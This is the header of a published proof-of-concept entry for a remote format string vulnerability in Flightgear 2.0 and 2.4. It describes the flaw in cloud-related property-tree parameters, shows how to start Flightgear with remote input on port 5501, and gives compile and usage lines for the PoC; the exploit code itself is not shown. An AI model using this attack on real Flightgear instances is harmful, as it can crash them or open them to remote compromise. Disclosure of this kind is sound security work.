Flightgear 2.0, 2.4 - Remote Format String Exploit

/*
# Exploit Title: Flightgear remote format string
# Date: 21/04/2013
# Exploit Author: Kurono
# email: andresgomezram7@gmail.com
# Vendor Homepage: http://www.flightgear.org/
# Software Link: http://www.flightgear.org/download/
# Version: Tested on versions 2.0, 2.4.
# Tested on: Windows (Linux user assisted)
# CVE : None

    Flightgear allows remote control through Property tree.
    It is vulnerable to remote format string vulnerability
    when some special parameters related with clouds are changed.
    To test this exploit, run Flightgear with remote input, for example:

    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch

    or

    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch   

    gcc -O2 -g -pedantic -Wall poc.c -o poc
    USAGE: ./poc [hostname [port]]
